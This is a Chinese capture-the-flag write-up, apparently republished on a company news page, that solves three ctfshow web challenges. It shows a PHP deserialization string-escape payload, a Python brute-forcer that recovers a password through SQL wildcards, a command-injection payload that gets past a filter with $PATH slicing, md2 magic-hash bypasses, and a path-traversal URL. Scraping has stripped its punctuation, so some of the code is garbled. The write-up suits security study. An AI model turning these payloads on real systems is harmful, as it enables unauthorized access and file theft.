新闻详情

新闻详情

首页 / 资讯中心 / 详情

ctfshow—web 月饼杯

发布时间:2026/9/15 8:51:03来源:尧图网络
ctfshow—web 月饼杯
一、web1_此夜圆字符串逃逸index.php源码?php error_reporting(0); class a { public $uname; public $password; public function __construct($uname,$password) { $this-uname$uname; $this-password$password; } public function __wakeup() { if($this-passwordyu22x) { include(flag.php); echo $flag; } else { echo wrong password; } } } function filter($string){ return str_replace(Firebasky,Firebaskyup,$string); } $uname$_GET[1]; $password1; $serfilter(serialize(new a($uname,$password))); $testunserialize($ser); ?uname通过1传参password1 ,序列化后filter字符串膨胀再反序列化(触发wakeup方法)如果password yu22x输出flag思路通过字符串膨胀吃掉第二个参数再创建一个新参数passwordyu22x经过测试一个Firebasky膨胀两个字符要吃掉的部分30个字符;s:8:password;s:1:1;}即需要15个Firebaskypyload: 1FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky;s:8:password;s:5:yu22x;}字符串膨胀后吃掉第二个参数让新参数passwordyu22x然后输出flagflag:ctfshow{2357abbf-7612-46b9-b648-c948fe08311f}常见php反序列化魔数方法PHP魔术方法总览__construct() 当创建对象时触发一般用于初始化对象对变量赋初值__sleep() 使用serialize()时自动触发__wakeup() 使用unserialize()时自动触发__destruct() 当一个对象被销毁时触发__toString() 当一个类被当成字符串使用时触发 stristr()和echo可以触发__invoke() 当尝试以调用函数的方式调用一个对象时触发__call() 在对象上下文中调用不可访问的方法时触发__callStatic() 在静态上下文中调用不可访问的方法时触发__get() 用于从不可访问的属性读取数据__set() 用于将数据写入不可访问的属性__isset() 在不可访问的属性上调用isset()或empty()触发__unset() 在不可访问的属性上使用unset()时触发二、web3_莫负婵娟参考大佬文章web3_莫负婵娟 - 微草wd - 博客园进入页面后F12发现泄露的信息确定传参usernameyu22x,passwordxxx然后登陆系统知识点一sql通配符% 表示零个或多个字符的任意字符串_下划线表i示任何单个字符先测试密码长度经过测试密码为32位猜测密码由数字大小写字母组成python代码爆破密码代码import requests a0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ url http://15ba58d4-891b-4ca7-b771-3bb8efebbfdf.challenge.ctf.show:8080/login.php pwd for i in range(32): print(i str(i1),end\t) for j in a: password pwd j (31 - i) * _ data {username:yu22x,password:password} r requests.post(url,datadata) if wrong not in r.text: pwd j print(pwd) break密码67815b0c009ee970fe4014abaa3Fa6A0进入系统这里第一想法就是管道符(;)并行拿flag 如127.0.0.1;nl flag.php这里大佬说小写字母被过滤了利用环境变量切片绕过知识点二环境变量那么思路就清晰了利用环境变量构造管道符恶意代码拿到flagpayload127.0.0.1;${PATH:14:1}${PATH:5:1} ????.??? (是通配符标识任意字符)源代码这拿到flagflagctfshow{397df883-3f53-432f-afa3-5bc424e3f13f}三、web2_故人心给a b c url传参满足三个if判断就出书文件内容第一个ifif(is_numeric($a) and strlen($a)7 and $a!0 and $a**20)参数a要求是数据类型长度小于7a的平方等于0并且a不等于0学习大佬的知识科学计数法在1e-xxx的情况下如果指数超过161就会截断后面的内容所以让a1e-162就可以满足他的平方等于0弱比较不等于0即?a 1e-162第二个if($bhash(md2, $b)) ($chash(md2,hash(md2, $c)));b和c分别满足一次md2和两次md2后相等通过0exxxx弱比较来绕过校验在弱比较下0exxx会被当成0来比较这里题目给了robots.txt提示明显给了两个参数的一部分通过php脚本爆破出来php跑md2方便一些?php # xxxxx024452 hash(md2,$b) # xxxxxx48399 hash(md2,hash(md2,$b)) for($b0;$b99999;$b){ if(0e.$b.024452 hash(md2,0e.$b.024452 )){ echo b的值位.$b; break; } } echo br; for($c0;$c999999;$c){ if(0e.$c.48399 hash(md2,hash(md2,0e.$c.48399 ))){ echo c的值位.$c; break; } }结果b652 c6034;即?a1e-162b0e652024452c0e603448399第三个ifif(filter_var($url[1],FILTER_VALIDATE_URL)){判断是否有合法的url查看是否存在协议头后面host要有ctfshow.com即urlb://ctfshow.com/然后题目源代码提示flag in /fl0g.txt一级一级目录猜测最终在往前八层根目录下找到flagurlb://ctfshow.com/../../../../../../../../fl0g.txtflagctfshow{53c2195b-9395-405e-9364-cc0389f010ca}
网站建设高端定制企业官网
RELATED

相关资讯

更多精彩内容,欢迎继续阅读

较早相关资讯

最新相关资讯

LCP优化实战:别只压缩图片,先定位真正的最大渲染元素 2026/9/15 9:36:15

LCP优化实战:别只压缩图片,先定位真正的最大渲染元素

前段时间帮一个电商客户排查LCP(Largest Contentful Paint,最大内容绘制)长期卡在4秒的问题,前端同学特别委屈地跟我强调:首屏Banner已经从180KB压到40KB了,连格式都换成了WebP,可LCP就是纹丝不…

阅读更多 →
woo-guard - checkout-and-money 2026/9/15 9:36:15

woo-guard - checkout-and-money

Woo Guard — 结账和资金参考 目录 两种结账,两套钩子表面服务端验证购物车和会话上下文防护资金处理网关和 webhook 回调 两种结账,两套钩子表面 现代店铺运行 Blocks 结账(Store API);旧版店铺运行短代码结账&am…

阅读更多 →
MATLAB实现雷达信号模糊函数计算:从定义到自定义序列输入与绘图 2026/9/15 9:36:15

MATLAB实现雷达信号模糊函数计算:从定义到自定义序列输入与绘图

简介:一份用于MATLAB环境下的雷达模糊函数(AF)分析代码包,面向雷达信号处理学习者、科研人员以及需要快速评估信号分辨率的工程师。代码实现了从定义发射信号、计算卷积、设定时延与多普勒参数到绘制二维/三维模糊函数图的完整流程…

阅读更多 →
woo-guard - SKILL 2026/9/15 9:36:15

woo-guard - SKILL

name: “woo-guard” description: “Review generated or changed WooCommerce extensions, payment and shipping integrations, checkout customizations, and order or product logic.” risk: “critical” source: “community” source_repo: “amElnagdy/guard-skills”…

阅读更多 →
SCALE-Sim在ARM平台的静态工程评测与架构解剖 2026/9/15 9:36:15

SCALE-Sim在ARM平台的静态工程评测与架构解剖

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →
基于SpringBoot与MyBatis的美好乡村农产品交易平台Java毕设实战 2026/9/15 9:33:15

基于SpringBoot与MyBatis的美好乡村农产品交易平台Java毕设实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →

今日资讯

本周资讯

本月资讯

看完文章仍有疑问?

联系尧图顾问,获取一对一建站咨询

立即免费咨询 📞 400-888-8888
📞